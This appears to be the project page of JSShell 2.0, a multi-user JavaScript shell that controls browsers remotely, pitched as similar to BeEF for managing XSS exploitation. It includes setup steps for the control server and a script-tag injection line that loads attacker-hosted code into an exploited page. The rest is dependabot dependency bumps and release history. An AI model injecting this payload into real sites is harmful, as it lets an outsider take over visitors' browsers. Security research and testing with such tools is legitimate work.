An interactive multi-user web JS shell

Den1al, updated 🕥 2022-06-28 14:40:27

JSShell 2.0

made-with-python Generic badge Generic badge

An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS (Cross Site Scripting) payload to achieve browser remote code execution (similar to the BeeF framework).

Version 2.0 is created entirely from scratch, introducing new exciting features, stability and maintainability.

Version: 2.0

Author

Daniel Abeles.

Shell Video

asciicast

Features

  • Multi client support
  • Cyclic DOM objects support
  • Pre flight scripts
  • Command Queue & Context
  • Extensible with Plugins
  • Injectable via <script> tags
  • Dumping command output to file
  • Shell pagination
  • HTTPS support! Generic badge

Installation & Setup

Config File

In the resources directory, update the config.json file with your desired configuration: * Database host - if running with the docker deployment method, choose the database host as db (which is the internal host name). * Return URL - the URL which the requests will follow. The shell.js file does some AJAX calls to register and poll for new commands. Usually it will be http[s]://{YOUR_SERVER_IP}:{PORT}. * Startup script - a script that runs automatically when the JSShell CLI client is spawned. * Domain - if you desire to generate TLS certificates, this is the domain name the server will use. * It is also possible to point at a remote database if desired.

Let's Encrypt

Now JSShell supports TLS, which means you can now generate TLS certificates and feed them to the web server. The web server will infer the domain name from the config.json file. In order to create the certificate, use the create_cert.py script in the scripts folder:

bash $ cd scripts $ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>

the email field is optional.

Please note that the web server must be down in order for the script to function properly. At this point, we have successfully generated our certificates! The sole modifications we need to do are: * In the config.json file, change the schema of the URL field to https. * In the docker-compose.yml file change the exposed port of the web container to 443.

Docker

This new version supports installing and running JSShell via docker and docker-compose. Now, to install and run the entire JSShell framework, simply run:

bash $ ./scripts/start_docker_shell.sh

This will: - Start and create the database in the background - Start the web API server that handles incoming connections in the background - Spawn a new instance of the JSShell command line interface container

Regular

If you still want to use the old fashion method of installing, simply make sure you have a MongoDB database up and running, and update the config.json file residing in the resources directory.

I recommend using a virtual environment with pyenv: bash $ pyenv virtualenv -p python3.6 venv $ pyenv activate venv

Or using virtualenv:

bash $ virtualenv -p python3.6 venv $ source venv/bin/activate

Then, install the requirements: bash $ pip install -r requirements.txt

Running

If you used the docker method, there's no need to run the following procedure.

Web Server

Otherwise, once we have the database setup, we need to start the web API server. To do, run: bash $ python manage.py web

This will create and run a web server that listens to incoming connections and serves our JSShell code.

Shell

Now to start the JSShell CLI, run the same script but now with the shell flag: bash $ python manage.py shell

Usage

After setup and running the required components, enter the help command to see the available commands: ``` ╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles

help

Documented commands (type help ):

General Commands

edit Edit a file in a text editor help List available commands or provide detailed help for a specific command history View, run, edit, save, or clear previously entered commands ipy Enter an interactive IPython shell py Invoke Python command or shell quit Exit this application

Shell Based Operations

back Un-select the current selected client clients List and control the clients that have registered to our system commands Show the executed commands on the selected client dump Dumps a command to the disk execute Execute commands on the selected client select Select a client as the current client

```

Flow

JSShell supports 2 methods of operation: 1. Injectable Shell (similar to BeeF framework) 2. Hosted Shell (for debugging)

Injectable Shell

Similar to other XSS control frameworks (like BeeF), JSShell is capable of managing successful XSS exploitations. In example, if you can inject a script tag, inject the following resource to your payload, and a new client will appear in your console:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Hosted Shell

If you desire to debug exotic and esoteric browsers, you can simply navigate to http[s]://{YOUR_SERVER_IP}:{PORT}/ and a new client will pop up into your JSShell CLI client. Now it is debuggable via our JSShell console.

Credits

Canop for JSON.prune

use it at your own responsibility and risk.

Issues

Shell command with client?

opened on 2022-09-30 21:58:00 by Kali95739

We can run a command like id on client when they connect to our shell right? Or is it js only

Bump arrow from 0.12.1 to 0.15.1

opened on 2022-06-28 14:40:25 by dependabot[bot]

Bumps arrow from 0.12.1 to 0.15.1.

Release notes

Sourced from arrow's releases.

Version 0.15.1

  • [FIX] Fixed a bug that caused Arrow to fail when passed a negative timestamp string.
  • [FIX] Fixed a bug that caused Arrow to fail when passed a datetime object with tzinfo of type StaticTzInfo.

Version 0.15.0

  • [NEW] Added support for DDD and DDDD ordinal date tokens. The following functionality is now possible: arrow.get("1998-045"), arrow.get("1998-45", "YYYY-DDD"), arrow.get("1998-045", "YYYY-DDDD").
  • [NEW] ISO 8601 basic format for dates and times is now supported (e.g. YYYYMMDDTHHmmssZ).
  • [NEW] Added humanize week granularity translations for French, Russian and Swiss German locales.
  • [CHANGE] Timestamps of type str are no longer supported without a format string in the arrow.get() method. This change was made to support the ISO 8601 basic format and to address bugs such as #447.
# will NOT work in v0.15.0
arrow.get("1565358758")
arrow.get("1565358758.123413")

will work in v0.15.0

arrow.get("1565358758", "X") arrow.get("1565358758.123413", "X") arrow.get(1565358758) arrow.get(1565358758.123413)

  • [CHANGE] When a meridian token (a|A) is passed and no meridians are available for the specified locale (e.g. unsupported or untranslated) a ParserError is raised.
  • [CHANGE] The timestamp token (X) will now match float timestamps of type str: arrow.get(“1565358758.123415”, “X”).
  • [CHANGE] Strings with leading and/or trailing whitespace will no longer be parsed without a format string. Please see the docs for ways to handle this.
  • [FIX] The timestamp token (X) will now only match on strings that strictly contain integers and floats, preventing incorrect matches.
  • [FIX] Most instances of arrow.get() returning an incorrect Arrow object from a partial parsing match have been eliminated. The following issue have been addressed: #91, #196, #396, #434, #447, #456, #519, #538, #560.

Version 0.14.7

  • [CHANGE] ArrowParseWarning will no longer be printed on every call to arrow.get() with a datetime string. The purpose of the warning was to start a conversation about the upcoming 0.15.0 changes and we appreciate all the feedback that the community has given us!

Version 0.14.6

  • [NEW] Added support for week granularity in Arrow.humanize(). For example, arrow.utcnow().shift(weeks=-1).humanize(granularity="week") outputs "a week ago". This change introduced two new untranslated words, week and weeks, to all locale dictionaries, so locale contributions are welcome!
  • [NEW] Fully translated the Brazilian Portugese locale.
  • [CHANGE] Updated the Macedonian locale to inherit from a Slavic base.
  • [FIX] Fixed a bug that caused arrow.get() to ignore tzinfo arguments of type string (e.g. arrow.get(tzinfo="Europe/Paris")).
  • [FIX] Fixed a bug that occurred when arrow.Arrow() was instantiated with a pytz tzinfo object.
  • [FIX] Fixed a bug that caused Arrow to fail when passed a sub-second token, that when rounded, had a value greater than 999999 (e.g. arrow.get("2015-01-12T01:13:15.9999995")). Arrow should now accurately propagate the rounding for large sub-second tokens.

Version 0.14.5

  • Added Afrikaans locale.
  • Removed deprecated replace shift functionality.
  • Fixed bug that occurred when factory.get() was passed a locale kwarg. (#630 )

Version 0.14.4

  • Fixed a regression in 0.14.3 that prevented a tzinfo argument of type string to be passed to the get() function. Functionality such as arrow.get("2019072807", "YYYYMMDDHH", tzinfo="UTC") should work as normal again.
  • Moved backports.functools_lru_cache dependency from extra_requires to install_requires for Python 2.7 installs to fix #495.

Version 0.14.3

  • Added full support for Python 3.8.

... (truncated)

Changelog

Sourced from arrow's changelog.

0.15.1 (2019-09-10)

  • [NEW] Added humanize week granularity translations for Japanese.
  • [FIX] Fixed a bug that caused Arrow to fail when passed a negative timestamp string.
  • [FIX] Fixed a bug that caused Arrow to fail when passed a datetime object with tzinfo of type StaticTzInfo.

0.15.0 (2019-09-08)

  • [NEW] Added support for DDD and DDDD ordinal date tokens. The following functionality is now possible: arrow.get("1998-045"), arrow.get("1998-45", "YYYY-DDD"), arrow.get("1998-045", "YYYY-DDDD").
  • [NEW] ISO 8601 basic format for dates and times is now supported (e.g. YYYYMMDDTHHmmssZ).
  • [NEW] Added humanize week granularity translations for French, Russian and Swiss German locales.
  • [CHANGE] Timestamps of type str are no longer supported without a format string in the arrow.get() method. This change was made to support the ISO 8601 basic format and to address bugs such as [#447](https://github.com/arrow-py/arrow/issues/447) <https://github.com/arrow-py/arrow/issues/447>_.

The following will NOT work in v0.15.0:

.. code-block:: python

>>> arrow.get("1565358758")
>>> arrow.get("1565358758.123413")

The following will work in v0.15.0:

.. code-block:: python

>>> arrow.get("1565358758", "X")
>>> arrow.get("1565358758.123413", "X")
>>> arrow.get(1565358758)
>>> arrow.get(1565358758.123413)
  • [CHANGE] When a meridian token (a|A) is passed and no meridians are available for the specified locale (e.g. unsupported or untranslated) a ParserError is raised.
  • [CHANGE] The timestamp token (X) will now match float timestamps of type str: arrow.get(“1565358758.123415”, “X”).
  • [CHANGE] Strings with leading and/or trailing whitespace will no longer be parsed without a format string. Please see the docs <https://arrow.readthedocs.io/#regular-expressions>_ for ways to handle this.
  • [FIX] The timestamp token (X) will now only match on strings that strictly contain integers and floats, preventing incorrect matches.
  • [FIX] Most instances of arrow.get() returning an incorrect Arrow object from a partial parsing match have been eliminated. The following issue have been addressed: [#91](https://github.com/arrow-py/arrow/issues/91) <https://github.com/arrow-py/arrow/issues/91>, [#196](https://github.com/arrow-py/arrow/issues/196) <https://github.com/arrow-py/arrow/issues/196>, [#396](https://github.com/arrow-py/arrow/issues/396) <https://github.com/arrow-py/arrow/issues/396>, [#434](https://github.com/arrow-py/arrow/issues/434) <https://github.com/arrow-py/arrow/issues/434>, [#447](https://github.com/arrow-py/arrow/issues/447) <https://github.com/arrow-py/arrow/issues/447>, [#456](https://github.com/arrow-py/arrow/issues/456) <https://github.com/arrow-py/arrow/issues/456>, [#519](https://github.com/arrow-py/arrow/issues/519) <https://github.com/arrow-py/arrow/issues/519>, [#538](https://github.com/arrow-py/arrow/issues/538) <https://github.com/arrow-py/arrow/issues/538>, [#560](https://github.com/arrow-py/arrow/issues/560) <https://github.com/arrow-py/arrow/issues/560>_.

0.14.7 (2019-09-04)

  • [CHANGE] ArrowParseWarning will no longer be printed on every call to arrow.get() with a datetime string. The purpose of the warning was to start a conversation about the upcoming 0.15.0 changes and we appreciate all the feedback that the community has given us!

0.14.6 (2019-08-28)

  • [NEW] Added support for week granularity in Arrow.humanize(). For example, arrow.utcnow().shift(weeks=-1).humanize(granularity="week") outputs "a week ago". This change introduced two new untranslated words, week and weeks, to all locale dictionaries, so locale contributions are welcome!
  • [NEW] Fully translated the Brazilian Portuguese locale.
  • [CHANGE] Updated the Macedonian locale to inherit from a Slavic base.
  • [FIX] Fixed a bug that caused arrow.get() to ignore tzinfo arguments of type string (e.g. arrow.get(tzinfo="Europe/Paris")).
  • [FIX] Fixed a bug that occurred when arrow.Arrow() was instantiated with a pytz tzinfo object.

... (truncated)

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Den1al/JSShell/network/alerts).

Bump ipython from 7.2.0 to 7.16.3

opened on 2022-01-21 19:38:30 by dependabot[bot]

Bumps ipython from 7.2.0 to 7.16.3.

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Den1al/JSShell/network/alerts).

Bump flask-cors from 3.0.7 to 3.0.9

opened on 2021-05-06 19:24:32 by dependabot[bot]

Bumps flask-cors from 3.0.7 to 3.0.9.

Release notes

Sourced from flask-cors's releases.

Release 3.0.9

Security

  • Escape path before evaluating resource rules (thanks @​praetorian-colby-morgan). Prior to this, flask-cors incorrectly evaluated CORS resource matching before path expansion. E.g. "/api/../foo.txt" would incorrectly match resources for "/api/*" whereas the path actually expands simply to "/foo.txt"

Release 3.0.8

Fixes DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working

Thank you @​juanmaneo and @​jdevera!

Changelog

Sourced from flask-cors's changelog.

3.0.9

Security

  • Escape path before evaluating resource rules (thanks to Colby Morgan). Prior to this, flask-cors incorrectly evaluated CORS resource matching before path expansion. E.g. "/api/../foo.txt" would incorrectly match resources for "/api/*" whereas the path actually expands simply to "/foo.txt"

3.0.8

Fixes : DeprecationWarning: Using or importing the ABCs from 'collections' in Python 3.7. Thank you @​juanmaneo and @​jdevera for the contribution.

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Den1al/JSShell/network/alerts).

Bump pygments from 2.3.0 to 2.7.4

opened on 2021-03-29 18:35:45 by dependabot[bot]

Bumps pygments from 2.3.0 to 2.7.4.

Release notes

Sourced from pygments's releases.

2.7.4

  • Updated lexers:

    • Apache configurations: Improve handling of malformed tags (#1656)

    • CSS: Add support for variables (#1633, #1666)

    • Crystal (#1650, #1670)

    • Coq (#1648)

    • Fortran: Add missing keywords (#1635, #1665)

    • Ini (#1624)

    • JavaScript and variants (#1647 -- missing regex flags, #1651)

    • Markdown (#1623, #1617)

    • Shell

      • Lex trailing whitespace as part of the prompt (#1645)
      • Add missing in keyword (#1652)
    • SQL - Fix keywords (#1668)

    • Typescript: Fix incorrect punctuation handling (#1510, #1511)

  • Fix infinite loop in SML lexer (#1625)

  • Fix backtracking string regexes in JavaScript/TypeScript, Modula2 and many other lexers (#1637)

  • Limit recursion with nesting Ruby heredocs (#1638)

  • Fix a few inefficient regexes for guessing lexers

  • Fix the raw token lexer handling of Unicode (#1616)

  • Revert a private API change in the HTML formatter (#1655) -- please note that private APIs remain subject to change!

  • Fix several exponential/cubic-complexity regexes found by Ben Caller/Doyensec (#1675)

  • Fix incorrect MATLAB example (#1582)

Thanks to Google's OSS-Fuzz project for finding many of these bugs.

2.7.3

... (truncated)

Changelog

Sourced from pygments's changelog.

Version 2.7.4

(released January 12, 2021)

  • Updated lexers:

    • Apache configurations: Improve handling of malformed tags (#1656)

    • CSS: Add support for variables (#1633, #1666)

    • Crystal (#1650, #1670)

    • Coq (#1648)

    • Fortran: Add missing keywords (#1635, #1665)

    • Ini (#1624)

    • JavaScript and variants (#1647 -- missing regex flags, #1651)

    • Markdown (#1623, #1617)

    • Shell

      • Lex trailing whitespace as part of the prompt (#1645)
      • Add missing in keyword (#1652)
    • SQL - Fix keywords (#1668)

    • Typescript: Fix incorrect punctuation handling (#1510, #1511)

  • Fix infinite loop in SML lexer (#1625)

  • Fix backtracking string regexes in JavaScript/TypeScript, Modula2 and many other lexers (#1637)

  • Limit recursion with nesting Ruby heredocs (#1638)

  • Fix a few inefficient regexes for guessing lexers

  • Fix the raw token lexer handling of Unicode (#1616)

  • Revert a private API change in the HTML formatter (#1655) -- please note that private APIs remain subject to change!

  • Fix several exponential/cubic-complexity regexes found by Ben Caller/Doyensec (#1675)

  • Fix incorrect MATLAB example (#1582)

Thanks to Google's OSS-Fuzz project for finding many of these bugs.

Version 2.7.3

(released December 6, 2020)

... (truncated)

Commits
  • 4d555d0 Bump version to 2.7.4.
  • fc3b05d Update CHANGES.
  • ad21935 Revert "Added dracula theme style (#1636)"
  • e411506 Prepare for 2.7.4 release.
  • 275e34d doc: remove Perl 6 ref
  • 2e7e8c4 Fix several exponential/cubic complexity regexes found by Ben Caller/Doyensec
  • eb39c43 xquery: fix pop from empty stack
  • 2738778 fix coding style in test_analyzer_lexer
  • 02e0f09 Added 'ERROR STOP' to fortran.py keywords. (#1665)
  • c83fe48 support added for css variables (#1633)
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Den1al/JSShell/network/alerts).

Bump jinja2 from 2.10.1 to 2.11.3

opened on 2021-03-20 00:22:36 by dependabot[bot]

Bumps jinja2 from 2.10.1 to 2.11.3.

Release notes

Sourced from jinja2's releases.

2.11.3

This contains a fix for a speed issue with the urlize filter. urlize is likely to be called on untrusted user input. For certain inputs some of the regular expressions used to parse the text could take a very long time due to backtracking. As part of the fix, the email matching became slightly stricter. The various speedups apply to urlize in general, not just the specific input cases.

2.11.2

2.11.1

This fixes an issue in async environment when indexing the result of an attribute lookup, like {{ data.items[1:] }}.

2.11.0

This is the last version to support Python 2.7 and 3.5. The next version will be Jinja 3.0 and will support Python 3.6 and newer.

2.10.3

2.10.2

Changelog

Sourced from jinja2's changelog.

Version 2.11.3

Released 2021-01-31

  • Improve the speed of the urlize filter by reducing regex backtracking. Email matching requires a word character at the start of the domain part, and only word characters in the TLD. :pr:1343

Version 2.11.2

Released 2020-04-13

  • Fix a bug that caused callable objects with __getattr__, like :class:~unittest.mock.Mock to be treated as a :func:contextfunction. :issue:1145
  • Update wordcount filter to trigger :class:Undefined methods by wrapping the input in :func:soft_str. :pr:1160
  • Fix a hang when displaying tracebacks on Python 32-bit. :issue:1162
  • Showing an undefined error for an object that raises AttributeError on access doesn't cause a recursion error. :issue:1177
  • Revert changes to :class:~loaders.PackageLoader from 2.10 which removed the dependency on setuptools and pkg_resources, and added limited support for namespace packages. The changes caused issues when using Pytest. Due to the difficulty in supporting Python 2 and :pep:451 simultaneously, the changes are reverted until 3.0. :pr:1182
  • Fix line numbers in error messages when newlines are stripped. :pr:1178
  • The special namespace() assignment object in templates works in async environments. :issue:1180
  • Fix whitespace being removed before tags in the middle of lines when lstrip_blocks is enabled. :issue:1138
  • :class:~nativetypes.NativeEnvironment doesn't evaluate intermediate strings during rendering. This prevents early evaluation which could change the value of an expression. :issue:1186

Version 2.11.1

Released 2020-01-30

  • Fix a bug that prevented looking up a key after an attribute ({{ data.items[1:] }}) in an async template. :issue:1141

... (truncated)

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Den1al/JSShell/network/alerts).

Releases

JSShell 2.0 2018-12-16 14:45:30

A whole new release introducing docker deployment and a complete code re-write.

Colors 2017-12-05 16:11:06

Added new functionalities:

  • Shell now features colors!
  • Preflight scripts were moved to a JSON file

Beta 2017-04-24 12:10:52

Added the new functionalities: * Injectable via script tags * Preflight scripts were improved.

Alpha 2017-03-08 07:27:58

First version of this tool.

Den1al

aka Den1al ➖ Head of Research @Oxeye ▫️Tech junkie ▫️ Bug Hunter ▫️Developer ▫️Pythonista

GitHub Repository

python python-3-6 javascript shell web interactive xss exploit